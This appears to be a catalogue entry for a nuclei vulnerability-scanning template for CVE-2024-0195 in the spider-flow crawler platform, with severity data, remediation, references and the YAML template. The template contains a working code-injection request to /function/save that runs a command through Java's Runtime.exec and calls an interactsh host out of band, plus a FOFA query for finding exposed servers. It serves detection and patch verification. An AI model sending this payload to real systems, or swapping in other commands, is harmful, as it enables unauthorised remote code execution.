CVE-2024-0195: SpiderFlow Crawler Platform - Remote Code Execution
- Template: CVE-2024-0195
- Name: SpiderFlow Crawler Platform - Remote Code Execution
- Description: A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
- Impact: Unauthenticated attackers can inject and execute arbitrary code remotely on the Spider-Flow server, leading to complete system compromise and potential access to all crawled data.
- Remediation: Upgrade to Spider-Flow version 0.5.0 or later that addresses this code injection vulnerability.
- Severity: critical
- Authors: pussycat0x
- Tags: cve, cve2024, spiderflow, crawler, unauth, rce, ssssssss, vuln
- References: https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md, https://vuldb.com/?id.249510, https://nvd.nist.gov/vuln/detail/CVE-2024-0195, https://vuldb.com/?ctiid.249510, https://github.com/Tropinene/Yscanner
- Cves: CVE-2024-0195
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-0195.yaml
- Digest: 490a00463044022017be44d3ffa58ec02b7cd21b9151fb5f84a03c325dcfa11b30a8aebe3d474e72022020a0700f60f5084f8d88175c180a8372093b6755ad1f1f01784c8af3a15111eb
- Created at: 2024-05-23T12:52:37Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 915
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-0195.yaml
Classification
- Cwe: CWE-94
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.19253
- Epss percentile: 0.97403
- Cpe: cpe:2.3:a:ssssssss:spider-flow:0.4.3:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="SpiderFlow", app="spiderflow"
- Max-request: 2
- Product: spider-flow
- Vendor: ssssssss
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| ssssssss:spider-flow | yes | /v1/products/ssssssss/spider-flow |
Labels
- Name: spider-flow - Command Injection
- Impact: Remote attackers can execute arbitrary code, potentially leading to full system compromise.
- Remediation: Update to the latest version of spider-flow or apply security patches addressing this vulnerability.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-0195
- Not known: requirements
```yaml
id: CVE-2024-0195
info:
name: SpiderFlow Crawler Platform - Remote Code Execution
author: pussycat0x
severity: critical
description: |
A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.
impact: |
Unauthenticated attackers can inject and execute arbitrary code remotely on the Spider-Flow server, leading to complete system compromise and potential access to all crawled data.
remediation: |
Upgrade to Spider-Flow version 0.5.0 or later that addresses this code injection vulnerability.
reference:
- https://github.com/Shelter1234/VulneraLab/blob/main/SpiderFlow/CVE-2024-0195/README.zh-cn.md
- https://vuldb.com/?id.249510
- https://nvd.nist.gov/vuln/detail/CVE-2024-0195
- https://vuldb.com/?ctiid.249510
- https://github.com/Tropinene/Yscanner
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-0195
cwe-id: CWE-94
epss-score: 0.19253
epss-percentile: 0.97403
cpe: cpe:2.3:a:ssssssss:spider-flow:0.4.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: ssssssss
product: "spider-flow"
fofa-query:
- "app=\"SpiderFlow\""
- app="spiderflow"
tags: cve,cve2024,spiderflow,crawler,unauth,rce,ssssssss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'SPIDER_FLOW_VERSION'
- raw:
- |
POST /function/save HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
digest: 490a00463044022017be44d3ffa58ec02b7cd21b9151fb5f84a03c325dcfa11b30a8aebe3d474e72022020a0700f60f5084f8d88175c180a8372093b6755ad1f1f01784c8af3a15111eb:922c64590222798bb761d5b6d8e72950
```